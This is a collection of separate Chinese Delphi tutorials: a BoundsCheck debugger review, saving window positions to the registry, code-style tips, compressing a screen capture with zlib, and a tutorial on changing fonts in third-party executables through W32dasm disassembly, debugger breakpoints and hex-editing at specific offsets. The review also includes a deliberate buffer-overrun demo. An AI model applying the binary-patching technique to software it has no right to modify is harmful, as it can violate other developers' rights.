不过，针对于程序员来说，BoundsCheck最大的作用还是在有源代码的情况下，对程序进行查错和排错。用BoundsCheck来指明程序中存在的各种逻辑错误、API调用错误和内存泄漏错误。以保证所发布软件的品质。

并不建议你在程序编码过程中太经常地使用BoundsCheck。由于BoundsCheck要求应用具有Turbo Debugger调试信息，因此，启用BoundsCheck的情况下，在Delphi IDE中运行程序会比正常情况下慢。这会给你的编程工作带来一些不便。因此，我仅是建议你在发布给各种用户(包括测试用户)以及提交给测试组之前，使用BoundsCheck进行一次排错。其它的时候，建议你将Delphi IDE中BoundsChecker\ Integerated Debugging选项关闭。

最终客户可能会在无调试信息的版本中，使用BoundsChceck对你的应用／产品进行测试。如果你对你的产品品质有信心，你甚至可以在验收方案中写上BoundsCheck的测试方案和测试结果。——确实，使用象BoundsCheck这样的测试软件进行检测，对产品的品质将是一种极严酷的考验。

(四) BoundsCheck 的使用方法

BoundsCheck的使用方法并不复杂。但在进行操作之前，我必须提醒你注意：

1.    确信Project\Options\Compiler\Stack Frames选项被选中。如果你不需要在BoundsCheck中显示堆栈信息，可以不使用该选项。

2.    确信Project\Options\Compiler\ Debug Information选项被选中

3.    确信Project\Options\Linker\ EXE and DLL Options\Include TD32 debug info选项被选中

4.    确信Project\Options\Compiler\Optimization setting选项未选中。在该选项选中的情况下，BoundsCheck仍可正常工作。

无论你是否在Delphi IDE中使用BoundsCheck，你都需要保证你的应用程序使用上述四个选项设置进行编译过(主要是2、3项)。除非你不需要BoundsCheck在检测报告中对源代码进行定位。

1. 启动 BoundsCheck

有两种方式启动BoundsCheck。

1.    在Delphi IDE中，使BoundsChecker\ Integerated Debugging选定，然后在Delphi IDE中运行程序。此时BoundsCheck将自动启动。

2.    编译你的应用程序。然后从Windows的应用程序组中用BoundsCheck快捷方式启动。这种方式下，你需要在BoundsCheck菜单File\Open...中打开应用程序，并在Program\Settings...中设置运行参数和载入模块。然后按下F5键(Program\Run菜单)来启动应用程序。

2. BoundsCheck 检测到错误

接下来的工作你可以交给BoundsCheck了。当然，如果是GUI的程序，那么，你也得动动手让你的应用程序全面、完整地运行一遍。

在整个的运行过程中，如果BoundsCheck检测到错误，它会弹出对话框来通知你。并且可以定位到源代码。如果你在Delphi IDE中，BoundsCheck还可以给你一个“Debug”按钮，使你可以进入Delphi的调试模式。

例如，我们在Delphi IDE中新建一个应用(New Application)，然后双击Form，在OnFormCreate事件中加入如下代码：

procedure TForm1.FormCreate(Sender: TObject);

var p : pointer;

begin

  getMem(p, 10*1024);

  fillchar(p^, 15*1024, 20);

  freeMem(p);

end;

运行这个Delphi程序，BoundsCheck将自动弹出如下对话框：

各按钮功能如下：

：继续运行

：进入Delphi IDE的调试环境

：将错误加入到忽略检测的列表

：中止程序运行

：弹出内存信息查看窗口

：关于当前错误的示例

：展开或者关闭对话框下方的堆栈和源代码信息

：是否在检测到错误时弹出本对话框

：启动/停止检测错误

3. 了解错误信息

在上面的对话框中，你可以清楚地了解到错误的类型和在源代码中的位置。同时，你也可以按下 按钮来了解BoundsCheck对问题的详细解释。

4. 结束程序运行

当你结束程序运行后，BoundsCheck会弹出一个这与Delphi自已的错误检测框很类似的检测结果对话框：

如果你在BoundsCheck中进行检测，这个对话框将如下图所示：

(五) 存在的问题

尽管BoundsCheck是此类软件中的经典之作，但在本次检测中，仍发现有不少的缺陷。

首先，BoundsCheck的卖点之一就是在检测中的源代码定位，但事实上，它的定位并不准确。在“BoundsCheck的使用方法”小节中，出错的代码行应当是：

fillchar(p^, 15*1024, 20);

但BoundsCheck却检测成了：

freeMem(p, 10*1024);

其次，BoundsCheck的连线帮助(Examples)系统中也存在一些问题。还是上面这个例子，如果点开 按钮，它的Pascal风格的示例是：

var

  Overrun2: PChar;

begin

  Overrun2 := StrAlloc (4);

  FillChar (Overrun2^, 6, '0');

end;

相信你已经看出FillChar()函数的调用是错的了。

最后，BoundCheck在检测结果的源代码框中，显示字体的大小用的是10px，而这将导致它的焦点框与实际源代码行发生偏移。因此，你应当自行将显示字体大小改成9px。

此外，还有一件令我不解的事是：既然已经将BoundsCheck集成在Delphi IDE中，为什么一定需要Turbo Debugger信息才能实现源代码定位呢？要知道，Delphi自己在调试期就是不需要Turbo Debugger的信息的！

(六) 其它

对于象Compuware这样的公司，仅是在上面的一个简单的例子中就发现了这许多的问题，的确是让人觉得有些惊奇。就如同Microsoft发布Windows 2000，在极短的时间里，就发现了“主登陆界面IME安全漏洞”一样，让人大跌眼镜。

尽管如此，我还是一面责斥着Compuware的不负责任，一面在Delphi打开BoundsChecker\ Integerated Debugging选项。——毕竟，BoundsCheck是同类产品中的矫矫之作。

七、 评测之外的内容

本次评测面向的用户对向仅是在使用Delphi进行中、小规模开发中的代码工作人员，简单的讲，是独立程序员或者项目中的个人。本次评测仅针对既定内容，因此有部分工具已经在开始评测前即被剔除了。

上述的五个工具主要用于解决在单一开发者的代码过程中，或者将代码交付给项目组、用户之前的一些调试和测试问题。这些工具并不能替代软件工程中的测试过程，也不是测试部门应当选用的工具。

本次评测选择的对象仅是适合于Delphi编程环境的测试、调试辅助工具，而不包括其它编程环境的工具。因此Rational Suite Enterprise等软件不在本次测试之内。

本次评测主要选择是单一工具，而不是工具包，其它诸如Sleuth QA Suite或者DevPartner Studio等都不在本次的测试之内。

评测人员：Aiming

2002-1-20


记忆参数的设置

---- 我们平时用的很多软件都具有一些记忆功能，如foxmail和TheBat等等。这些软件能在启动时自动的保持上一次关闭软件时的一些状态，如窗口的初始位置，用户在软件中设置的一些特性（如窗口风格，横相排列还是竖相排列等等），如果能让我们的程序也具有这样的一些功能可以使我们程序看起来更专业性一些:) 这里我就来讲一下怎样使应用程序能记住上一次关闭时的窗口位置，并在下一次启动时和上一次的位置一样。

---- 既然要保留信息，就一定要涉及到存贮的问题。数据的存贮有好几种办法，可以写.ini或.inf文件，还可以用Delphi提供的文件类来自定义一个文件，还可以用数据库接口（如ODBC）引入一种数据库文件，foxpro 的.dbf和Access的.mdb比较常用，还可以直接往Windows的注册表里写。写.ini和.inf文件没有任何的安全性，且不适合win95，还记得在94,95年时用中文的Windows3.2中大量的用到了.ini文件,但Windows95出现后，微软建议尽可能的把信息写到注册表中。用ODBC的话会给程序带来很多不必要的麻烦，如会使程序更加复杂，需要相应的DBMS的驱动程序的支持，如果没有相应数据源的驱动程序，则该数据源就不能使用，还有安全性问题也不能很好的解决。

---- 在这里推荐使用写注册表的方法。因为这种方法很方便，不需太多额外的开销，程序比较简单，对一般的用户来说在注册表里找到有用的信息比打开.ini文件要麻烦的多。所以注册表的安全性比.ini文件要略强一些。

---- 使应用程序能记住上一次关闭时的窗口位置，并在这一次启动时和上一次的位置一样。总体思路是这样的：在关闭程序时要记录下本次程序结束时的信息，写入注册表中，在下次程序启动时读注册表中相应信息，并赋给程序。

---- 对于我们这个程序来说主要需要记录的信息是窗口关闭时的Top,Left,Height,Width。

---- 注意：要想使Delphi可以操作注册表，必须包括registry单元。

---- 以下是源程序和相关注释：

unit Unit1;

interface

uses
Windows, Messages,. . . . . . . ,registry;
//包括registry单元
type
TForm1 = class(TForm)
.
.
.
public
ww:TRegistry;
//声明一个TRegistry对象，我们就通过ww来
实现对注册表的操作

//启动窗口时要做的一些工作
procedure TForm1.FormCreate(Sender:
TObject);
begin
ww:=TRegistry.Create;
//创建ww对象
ww.RootKey
:=HKEY_CURRENT_USER;
//注意：通过修改RootKey可以把信息写到注册表的每一个角落
ww.OpenKey('software',FALSE);
//打开键software,可以看到Borland，Netscape
还有Microsoft也在这个software键中
ww.CreateKey(
'王伟');
//在software键中创建一个名为“王伟“的键值，
使自己的名字和Borland,Netscape,
//Microsoft并排在一起，是不是很Cool啊:)
ww.OpenKey(
'王伟',FALSE);
//打开键"王伟"
ww.CreateKey('XX单位XX管理系统');
//创建应用程序的名称
ww.OpenKey('XX单位XX管理系统',TRUE);
ww.CreateKey('位置');
//创建应用程序中某一个要存贮的项目的名称，便于管理
ww.OpenKey('位置',TRUE);
if (ww.ReadString('first')<>'1')then
//这是值得注意的一个地方，通过“first“来判断程序是否
begin
//是第一次写注册表,如果是第一次写则用程序给的默认值来
ww.WriteString('first','1');
//设置窗口的位置和大小。如果不是第一次启动应用程序则说明
Form1.WindowState:=(wsNormal);
//注册表中已经写了位置信息，就读这些信息并赋给Form。
Form1.Top:=10;
form1.Left:=10;
form1.Height:=100;
form1.Width:=100;
end
else
begin
if(ww.ReadString('max')='y') then
//判断上次关闭程序时，窗口是否是最大化的。如果是的话，则
Form1.WindowState:=(wsMaximized)
//继续使窗口拥有这一特征。
else
begin
Form1.top:=StrToInt(ww.ReadString('top'));
//如果不是最大化，则取位置和大小数据赋给From
Form1.left:=StrToInt(ww.ReadString('left'));
Form1.height:=StrToInt(ww.ReadString('height'));
Form1.width:=StrToInt(ww.ReadString('width'));
end;
end;
end;

//关闭窗口时要做的一些工作
procedure
TForm1.FormDestroy(Sender: TObject);
begin
ww.OpenKey('位置',FALSE);
//打开“位置”键
if Form1.WindowState=(wsMaximized)
then
//如果当前程序是最大化，则把这一信息写入注册表，
ww.WriteString('max','y')
//便于下一次时使用。
else
begin
ww.WriteString('max','n');
//如果不是最大化，则把窗口的位置和大小数据写入注册表中。
ww.WriteString('top',IntToStr(Form1.top));
ww.WriteString('left',IntToStr(Form1.left));
ww.WriteString('height',IntToStr(Form1.Height));
ww.writeString('width',IntToStr(Form1.Width));
end;
end;

---- 需要注意的几点：

---- 1：因为程序不可能在第一次使用时，就从注册表里读数据，所以第一次必须由程序赋一个初值。然后做上标记，表示已经有过第一次了，以后只要判断出不是第一次了，就可以读数据了。（这点最重要,由这一点还可以引出一个话题，那就是可以做一个Demo版的软件，每次启动时往注册表里加个1,当>10时，就不许用该软件了，cool吧）

---- 2：往注册表里可以写string型数据，也可以写Integer型数据，但在注册表中的Integer型数据是以16进制形式存在的，而我们在程序中用的都是10进制数，所以干脆写string型，然后用StrToInt或IntToStr转换。

---- 3：写注册表并不是很安全的，它的内容可以用RegEdit一览无佘的看到，所以千万不能将一些重要的信息(如密码)不经加密而直接写入注册表，这样做是非常危险的！！


使代码简洁的 5 条忠告
grhunter

摘　要：如何写出简洁易读的代码
关键字：代码，简洁
类　别：Object Pascal

CoDelphi.com版权所有，未经允许，不得进行任何形式转载

写代码是一种艺术。使用Delphi，任何人都可以轻而易举地开发出某种软件、完成某些任务。而完美的代码则只有真正的高手才能写出。除了正确的缩进、大小写、命名规则之外，请时刻牢记爱因斯坦的名言--简单就是美。下面将谈及的五个代码问题，可能是初学者、甚至一些老鸟都会犯的错误。

忠告一

布尔型变量的赋值操作应该是直接的。例如，在一个if/then/else语句中，if子句将布尔型变量赋值为True，而else子句将其赋为False。下面这段代码的写法是不好的：

if If_Love_Delphi then
Result:=True
else
Result:=False;

而这样写就比较好：

Result:= If_Love_Delphi;

忠告二

避免使用嵌套的if/then/if语句，而用and来代替。下面这段代码太罗嗦：

if If_Love_Delphi then
if If_Love_Linux then
TryKylix(Now);

应该这样写：

if If_Love_Delphi and If_Love_Linux then
TryKylix(Now);

不用担心后面的判断语句会超前执行。Project|Options|Compiler|Syntax Options|Complete Boolean eval选项通常是关闭的（除非你选定这个项），这保证了执行顺序不会颠倒。

综合前两个忠告，假如你有一段这样的代码：

if If_Love_Delphi then
if If_Love_Linux then
Result:=True;

就可以把它改成：

Result:= If_Love_Delphi and If_Love_Linux；

简单而言，假如结果取决于一个条件判断，那么，Result:=True或者Result:=False这样的语句就是多此一举。在初始化布尔型变量的时候，可以给它们赋值。不过根本用不着把一个布尔型变量初始化为False--Delphi在创建这个变量的时候就已经把它赋职位False了。相似的情况还有：

对象的布尔型属性(Boolean)，自动被初始化为False (0)；
整型变量(Integer)，自动被初始化为 0；
字符串(String)，自动被初始化为空字符串。

忠告三

判断布尔型变量的值时，无需用"=True"或者"=False"这样的语句。下面的写法不好：

if (If_Love_Delphi=True) and
(If_Love_Linux=False) then
DoNotTryLinux;

对于函数的返回值或者一个属性是布尔型的情况，应该这样写：

if If_Love_Delphi and
not If_Love_Linux then
DoNotTryLinux;

忠告四

尽量不要用"+"操作符进行字符串合并。这样做效率太低了。下面的例子不好：

ShowMessage('在下身高'+IntToStr(iHeight)+'米，体重'+IntToStr(iWeight)+'公斤。');

这样写会较好：

ShowMessage(Format('在下身高%d，体重%d。', [iHeight,iWeight]));

忠告五

尽量多用with语句。它不仅效率高，而且使代码更加易读。比如，这段代码：

if Sender if TEdit then
if (TEdit(Sender).Text=') or
(TEdit(Sender).Text[TEdit(Sender).SelStart]=') or
(TEdit(Sender).SelLength=
Length(TEdit(Sender).Text))
and (Key in ['a'..'z']) then
Key:=UpperCase(Key);

就不如这样的代码来得简洁易读：

if Sender is TEdit then
with Sender as TEdit do
if (Text=') or
(Text[SelStart]=') or
(SelLength=Length(Text)) and
(Key in ['a'..'z'] then
Key:=UpCase(Key);
投稿人：grhunter　投稿日期：2001-6-18 16:40:00


Delphi 字体修改

声明

个人可以自由转载本文，不过应保持原文的完整性，并通知我；商业转载先请和我联系。

本文没有任何明确或不明确地提示说本文完全正确，阅读和使用本文的内容是您自己的选择，本人不负任何责任。

如果您发现本文有错漏的地方，请您给我指出；如果有什么不理解的，请您给我提出。

意见、建议和提出的问题最好写在我的主页 http://llf.126.com 的留言版上。

前言

汉化人大宇在汉化 CTris2000 这个 Delphi 程序的时候，修改了所有 RCData 中的字体设置，但仍然有一个窗体的字体很难看，我帮他做了修改，在这里就以它为例说一下 Delphi 程序字体字号的修改。

本来，我以为要详细的说才能说清，不过现在看来，也未必，所以在这里还是简单的说一下算了。

Delphi 程序的字体

关于 Delphi 程序的字体，以我想大概有三种情况：

一、RCData 格式。这种格式的字体字号的问题有很多工具，诸如 eXeScope 、ResHacker 等工具都可以非常方便的修改，而且这也是 Delphi 程序中的字体设置使用最多的方法，而且大多数 Delphi 程序都只使用这一种方式，而其修改方法相对成熟的多，所以我不讨论这种方式。

二、SDK 格式。有些 Delphi 程序为了追求最小的独立可执行文件尺寸，不使用 Delphi 缺省的 VCL 运行库，而是自行使用 SDK 的编程方式，不过这种程序不多，如果有，个头也很小，一般是几Ｋ、十几Ｋ的居多，如果在这些程序里出现字体不协调的问题，可以使用和修改 C 字体字号相同的方法修改。

三、VCL 内部格式。VCL 是 Delphi 使用的函数库，其内部很可能使用了不是我们所希望的“宋体,9”的窗体，不过我想来想去，也只有类似 VB 函数的 InputBox 有这种可能，也就是 CTris2000 中要求输入姓名的那个窗体，故我们要谈的就是这种方式的程序的字体的修改，而且，几乎可以确定的固定在 InputBox 上，当然，即使是这一种情况，也比较类似 C 字体的修改，而不是 VB 。（我不知道 Delphi 中相同功能的函数的函数名，所以暂称其为 InputBox）。

修改过程

我修改的过程比较繁琐，所以在这里剔除复杂的部分，简单的说。

首先，使用 W32dasm 反汇编汉化后的 CTris2000.exe ，存盘，打开 CTris2000.alf 文件，查找 CreateFont ，发现只有 CreateFontIndirectA ，而没有 CreateFontA ，这真是一个烦人的开始。继续查找，发现 CreateFontIndirectA 被三个地方调用，地址分别是 4124EC 、420460 和 42A7F3 。

运行 Trw2000 ，调入 CTris2000.exe ，然后键入“bpx 4124EC”、“bpx 420460” 和 “bpx 42A7F3”设置断点，按“F5”运行，中断时键入“dd *esp”查看堆栈的栈顶指针所指的地址的内容，发现大多数情况此地址的开头都是“FFFFFFF4”，也就是“-12”，是正常的，不过有一次，它是“FFFFFFF5”，也就是“-11”，在它下面一点，我们见到了这种字体的名称“MS Sans Serif”。

用 ResHacker 检查 CTris2000.exe ，发现并不是所有的“MS Sans Serif,8”都被改成了“宋体,9”，所以首先把这些没有改成“宋体,9”的项都改成“宋体,9”，存盘。

用 UEdit 打开 CTris2000.exe ，查找“MS Sans Serif”，只有一个，在 0x5b0b8 处，为了验证，把这个“MS Sans Serif”改成“System”，运行程序，发现那个输入窗体的字体确实如我们所想的变成“宋体,12”了。

0x5b0b8 在数据段，所以，数据基偏移 = 基地址 + 数据RVA - 数据Offset = 400000h + 5c000h - 5ae00 = 401200h ，所以，0x5b0b8 的在代码中为 401200h + 5b0b8 = 45C2B8h 。在 CTris2000.alf 查找“0045C2B8”，没找到，那么，查找“0045C2B”吧，找到几处，如“0045C2B7”、“0045C2B6”和“0045C2B0”，很是奇怪。

运行 Trw2000 ，调入 CTris2000.exe ，像上面一样设断点，运行到有问题的 CreateFontA 的时候，键入“dd 0045C2B0”，看看是什么？原来是“FFFFFFF5”！好吧，把“0045C2B0”当作突破口。

打开 CTris2000.alf ，查找“0045C2B0”，发现两个地方，代码如下：

* Referenced by a CALL at Address:

|:0041979B

|

:00419604 53 push ebx

:00419605 56 push esi

:00419606 57 push edi

:00419607 6A48 push 00000048

:00419609 A1D0E54500 mov eax, dword ptr [0045E5D0]

:0041960E 50 push eax

:0041960F 6A08 push 00000008

* Reference To: kernel32.MulDiv, Ord:0000h

|

:00419611 E836BEFEFF Call 0040544C

:00419616 F7D8 neg eax

:00419618 A3B0C24500 mov dword ptr [0045C2B0], eax

:0041961D A13CD64500 mov eax, dword ptr [0045D63C]

:00419622 80780800 cmp byte ptr [eax+08], 00

:00419626 743A je 00419662

:00419628 E893FFFFFF call 004195C0

:0041962D 8BD8 mov ebx, eax

:0041962F 8BC3 mov eax, ebx

:00419631 2C80 sub al, 80

:00419633 752D jne 00419662

:00419635 BE68964100 mov esi, 00419668

:0041963A BFB7C24500 mov edi, 0045C2B7

:0041963F B904000000 mov ecx, 00000004

:00419644 F3 repz

:00419645 A5 movsd

:00419646 6A48 push 00000048

:00419648 A1D0E54500 mov eax, dword ptr [0045E5D0]

:0041964D 50 push eax

:0041964E 6A09 push 00000009

* Reference To: kernel32.MulDiv, Ord:0000h

|

:00419650 E8F7BDFEFF Call 0040544C

:00419655 F7D8 neg eax

:00419657 A3B0C24500 mov dword ptr [0045C2B0], eax

:0041965C 881DB6C24500 mov byte ptr [0045C2B6], bl

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:

|:00419626(C), :00419633(C)

|

:00419662 5F pop edi

:00419663 5E pop esi

:00419664 5B pop ebx

:00419665 C3 ret

不知道大家是否能大概看懂上面的代码，不过它和我在《C 程序字号的修改》里摘抄的 MSDN 里建议的设置字号的方式是基本一样的：

nHeight = -MulDiv(PointSize, GetDeviceCaps(hDC, LOGPIXELSY), 72);

我们可以看到，“0041960F”处的“6A08”压入的就是磅值，我们需要的是 9 磅的字体，所以把“6A08”改成“6A09”就可以了。代码基偏移 = 基地址 + 代码RVA - 代码Offset = 400000h + 1000h - 400h = 400c00h ，41960fh - 400c00h = 18a0fh ，也就是说“6a08”在 0x18a0f 处。

所以，最后的修改是这样的：把 0x5b0b8 处的 "MS Sans Serif" 改成 "宋体"；把 0x18a0f 处的 6a08 改成 6a09 。

虽然我已经简化了过程，不过好像还是很麻烦，那么有没有什么简单的方法呢？有的。

一、如果实在不会这样的修改方法，也不要留着，把“MS Sans Serif”改成“System”是一种简单有效的方法，遗憾的是字体显得比较大。

二、先把“MS Sans Serif”改成“宋体”，然后用 W32dasm 反编译汉化后的程序并存盘后，用 EmEditor 打开 *.alf 文件，按“Ctrl+F”，出现查找对话框，选择“使用表达式”，在要查找的文本中输入“push 00000008\n\n* Reference To: kernel32.MulDiv,”，找到的不会很多，把“08”修改成“09”试一试，直到得到正确的结果。

需要注意，第二种方法只适用于 Delphi 程序的 InputBox 的字体修改，而第一种方法适用于所有程序。另外，我因为没有见到其它类似的 Delphi 程序，也不能肯定第二种方法就是对的，如果各位有见到，不妨一试。

在上次的 Delphi 消息框字体问题之后，又有汉化人提出 Hint 字体修正的问题，在说这一个问题之前，我们要再熟悉一下微软推荐的字体设置方法：

nHeight = -MulDiv(PointSize, GetDeviceCaps(hDC, LOGPIXELSY), 72);

大家也看到了，最后一个参数是 72 ，也就是十六进制的 0x48 ，而且它是一个常数，所以这样的语句编译到可执行文件中的时候就会出现一个明显的 push 00000048 的语句，而且，因为 72 是最后一个参数，所以这个 push 语句是这一行程序的第一个 push 语句，这样，上次我们介绍的修改消息框的方法就可以用 push 00000048 作为辅助判断方法，据大宇说，用这种方法判断，迄今为止是百发百中的。 :)

而这一次的 Hint 的问题，因为在反编译出来的文件中找不到“push 00000008\n\n* Reference To: kernel32.MulDiv,”或上面几行没有“push 00000048”，所以无法找到需要修改的地方，我通过查找代码发现，对于 Hint 的字体设置，其中并不是直接压入 8 ，也就是说没有明显的 push 00000008 ，但是仍然是可以修改的。

以前 ChinEase 曾问过 iProtect SoHo 的字体问题，当时我并不熟悉，以为主界面是使用了枚举的方式设置的字体，觉得不能解决，不过现在才发现其实其主界面字体是可以自己设置的，所以所剩的字体问题仍然是 Hint 的问题，在这里就以 iProtect SoHo 为例说一下。

用 W32dasm 反编译 iprotect.exe ，生成 iprotect.alf ，打开它，查找 push 00000048 ，发现四个，其中后两个一个因为在 call MulDiv 之上的语句是 push 00000009 ，所以已经是 9 磅的字体，另一个后面根本没有 call MulDiv ，所以更不是我们所要找的语句了，剩下的两个如下：

* Referenced by a CALL at Addresses:

|:00412279 , :00416EAA , :0041D93C , :00425408 , :004BAFCA

|:004BB710

|

:0041DB38 53 push ebx

:0041DB39 8BD8 mov ebx, eax

:0041DB3B 8B4314 mov eax, dword ptr [ebx+14]

:0041DB3E 50 push eax

:0041DB3F 6A48 push 00000048

:0041DB41 8BC3 mov eax, ebx

:0041DB43 E864FFFFFF call 0041DAAC

:0041DB48 50 push eax

* Reference To: kernel32.MulDiv, Ord:0000h

|

:0041DB49 E8A67BFEFF Call 004056F4

:0041DB4E F7D8 neg eax

:0041DB50 5B pop ebx

:0041DB51 C3 ret

:0041DB52 8BC0 mov eax, eax

* Referenced by a CALL at Addresses:

|:00412298 , :00416EB9 , :0041AE0F , :0041D945 , :00425417

|:0043CC63 , :0043D62A , :00471F31 , :004914F4 , :0049CB09

|:004B6212 , :004BA4DA , :004BA51E , :004BB720 , :004D4955

|

:0041DB54 53 push ebx

:0041DB55 56 push esi

:0041DB56 8BF2 mov esi, edx

:0041DB58 8BD8 mov ebx, eax

:0041DB5A 6A48 push 00000048

:0041DB5C 8B4314 mov eax, dword ptr [ebx+14]

:0041DB5F 50 push eax

:0041DB60 56 push esi

* Reference To: kernel32.MulDiv, Ord:0000h

|

:0041DB61 E88E7BFEFF Call 004056F4

:0041DB66 8BD0 mov edx, eax

:0041DB68 F7DA neg edx

:0041DB6A 8BC3 mov eax, ebx

:0041DB6C E843FFFFFF call 0041DAB4

:0041DB71 5E pop esi

:0041DB72 5B pop ebx

:0041DB73 C3 ret

可以看到，在 call MulDiv 之上并不是压入的常数，而是寄存器值，而这两段代码其实是函数，所以它是通过别人调用来设置的，这需要跟踪才能知道究竟是谁在调用，我最近发现其实 W32dasm 也可以进行动态跟踪，因为不会中止其它进程，所以我现在比较喜欢用 W32dasm 来跟踪 —— 可以同时听 mp3 。 :) 不过 W32dasm 的跟踪界面有些零乱，我就不介绍了。在这里，跟踪到调用者：

:0041ADFA BA38AE4100 mov edx, 0041AE38

:0041ADFF 8B460C mov eax, dword ptr [esi+0C]

:0041AE02 E8ED2C0000 call 0041DAF4

:0041AE07 BA08000000 mov edx, 00000008

:0041AE0C 8B460C mov eax, dword ptr [esi+0C]

:0041AE0F E8402D0000 call 0041DB54

就是最后一个 call 0041DB54 调用了上面的设置字体的代码，我们发现很明显的上面有一个 mov edx, 00000008 ，我们尝试把它修改成 mov edx, 0000000F ，运行程序，发现 Hint 的字体真的变得很大了，也就是说，改对地方了。

另外，第一句的 mov edx, 0041AE38 其实压入的是字体名，所以最后的修改是：把 0x1a239 处的“MS Sans Serif”改成“宋体”，把 0x1a208 处的 08 改成 09 。（0x1a238 处是字体名的长度计数器，最好也修改成 04）

简单方法

上面的介绍只是为了让大家知道为什么要这样修改，其实是有一种简单的方法找到要修改的地方的。我说过，Delphi 程序员一般不会自己创建字体，所以这里的仍然是 VCL 的问题，而 VCL 编译出来的代码不会因为不同的程序而不同，所以仍然有规律可循。

不知道大家注意到没有，上面修改的地方相差不大，一个 0x1a239 ，一个 0x1a208 ，只相差 0x31 ，对于 UEdit 来说，就是三行多一个字符，其实这就是它的规律，我们可以先找到究竟是哪一个字体名的问题，再向上三行，找到一个“BA 08”，把它改成“BA 09”就可以了，我修改的几个程序用这种方法的成功率目前也是百分之百的。:)

至于怎么找到是哪一个字体名的问题，我就不说了 —— 顶多一个一个的改成“System”进行测试，一定可以找到的。 :)


Delphi数据压缩处理

广西南宁超创信息工程有限公司 蔡健

   Borland公司推出的 RAD开发工具 Delphi 5.0作为 Windows平台上的主流开发工具，其可视化的开发环境和面向对象编程的强大功能已经吸引了无数的开发人员。但是，一些程序员在实际的开发过程中却时常为对大量的数据进行压缩而伤透脑筋，不得不去查找一些高效的压缩算法或在网上查找第三方的控件来实现压缩。难道
    Delphi本身没有提供这个功能吗？其实 Delphi的程序设计师早就考虑到了这一点，他们提供了
    Zlib.pas和 Zlibconst.pas两个单元文件来解决数据压缩问题，实现了很高的数据压缩比率。这两个文件保存在
    Delphi 5.0安装光盘上 \Info\Extras\Zlib目录下，此外，在
   Info\Extras\Zlib\Obj目录中还保存了 Zlib.pas单元引用的 Obj文件。下面本文以压缩一个屏幕拷贝为例介绍如何使用这项功能。

解决思路

首先利用屏幕拷贝捕捉到当前整个屏幕的图像，然后在内存中保存为 BMP文件格式。压缩时，使用
    TCompressionStream对象对原始图像进行压缩并且保存为自定义的文件格式；解压缩时，使用
    TDecompressionStream对象对被压缩的图像进行解压缩，还原为 BMP格式的图像文件。

具体实现

新建一个项目文件，在主单元的接口部分引用
   Zlib.pas，在主表单上放置两个按钮 Button1、 Button2，在它们的 OnClick事件中写上相应的过程调用代码。

部分程序源代码如下：

unit Unit1;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,
   Dialogs,StdCtrls, Zlib;

type

TForm1 = class(TForm)

Button1: TButton;

Button2: TButton;

procedure Button1Click(Sender: TObject);

procedure Button2Click(Sender: TObject);

private

{ Private declarations }

public

{ Public declarations }

end;

var

Form1: TForm1;

implementation

{＄ R＊ .DFM}

1．捕捉全屏幕图像

procedure GetScreen(var Bmp: TBitmap);

var

Dc: HDC;

MyCanvas: TCanvas;

MyRect: TRect;

begin

Dc := GetWindowDC(0);

MyCanvas := TCanvas.Create;

try

MyCanvas.Handle := Dc;

MyRect:=Rect(0， 0,Screen.Width, Screen.Height);

//图像为 24位真彩色，也可根据实际需要调整

Bmp.PixelFormat := pf24bit;

Bmp.Width := MyRect.Right;

Bmp.Height := MyRect.Bottom;

//捕捉整个屏幕图像

Bmp.Canvas.CopyRect(MyRect, MyCanvas, MyRect);

finally

MyCanvas.Handle := 0;

MyCanvas.Free;

ReleaseDC(0, Dc);

end;

end;

2．压缩图像

procedure CompressBitmap(var CompressedStream: TMemoryStream;const
   CompressionLevel: TCompressionLevel);

var

SourceStream: TCompressionStream;

DestStream: TMemoryStream;

Count: Integer;

Begin

//获得图像流的原始尺寸

Count := CompressedStream.Size;

DestStream := TMemoryStream.Create;

SourceStream:=TCompressionStream.Create

(CompressionLevel, DestStream);

Try

//SourceStream中保存着原始的图像流

CompressedStream.SaveToStream(SourceStream);

//将原始图像流进行压缩， DestStream中保存着压缩后的图像流

SourceStream.Free;

CompressedStream.Clear;

//写入原始图像的尺寸

CompressedStream.WriteBuffer(Count, SizeOf

(Count));

//写入经过压缩的图像流

CompressedStream.CopyFrom(DestStream, 0);

finally

DestStream.Free;

end;

end;

3．还原被压缩图像

procedure UnCompressBitmap(const CompressedStream: TFileStream; var
   Bmp: TBitmap);

var

SourceStream: TDecompressionStream;

DestStream: TMemoryStream;

Buffer: PChar;

Count: Integer;

Begin

//从被压缩的图像流中读出原始图像的尺寸

CompressedStream.ReadBuffer(Count, SizeOf(Count));

//根据图像尺寸大小为将要读入的原始图像流分配内存块

GetMem(Buffer, Count);

DestStream := TMemoryStream.Create;

SourceStream := TDecompressionStream.Create(CompressedStream);

Try

//将被压缩的图像流解压缩，然后存入 Buffer内存块中

SourceStream.ReadBuffer(Buffer^, Count);

//将原始图像流保存至 DestStream流中

DestStream.WriteBuffer(Buffer^, Count);

DestStream.Position := 0;//复位流指针

//从 DestStream流中载入原始图像流

Bmp.LoadFromStream(DestStream);

finally

FreeMem(Buffer);

DestStream.Free;

end;

end;

4．压缩按钮 OnClick事件

procedure TForm1.Button1Click(Sender: TObject);

var

Bmp: TBitmap;

CompressedStream: TMemoryStream;

begin

Bmp := TBitmap.Create;

CompressedStream := TMemoryStream.Create;

Try

//捕获当前整个屏幕 ,将图像保存至 Bmp对象中 GetScreen(Bmp);

//将 Bmp对象中的图像保存至内存流中

Bmp.SaveToStream(CompressedStream);

//按缺省的压缩比例对原始图像流进行压缩

CompressBitmap(CompressedStream, clDefault);

//将压缩之后的图像流保存为自定义格式的文件

CompressedStream.SaveToFile(‘ C:\cj.dat’ );

finally

Bmp.Free;

CompressedStream.Free;

end;

end;

5．解压缩按钮 OnClick事件

procedure TForm1.Button2Click(Sender: TObject);

var

CompressedStream: TFileStream;

Bmp: TBitmap;

begin

Bmp := TBitmap.Create;

//以文件流的只读方式打开自定义的压缩格式文件

CompressedStream := TFileStream.Create(‘ C:\cj.dat’ , fmOpenRead);

Try

//将被压缩的图像流进行解压缩

UnCompressBitmap(CompressedStream, Bmp);

//将原始图像流还原为指定的 BMP文件

Bmp.SaveToFile(‘ C:\cj.bmp’ );

finally

Bmp.Free;

CompressedStream.Free;

end;

end;

此外 TCompressionStream对象还提供了 CompressionRate属性，该属性用于描述对原始数据进行压缩后的压缩比率，而
    OnProgress事件在压缩与解压缩过程中都会被触发，开发人员可以在该事件中编写用于显示进度的代码。

以上代码在 Delphi 5.0中调试运行通过。


用Delphi编写VxD设备驱动程序

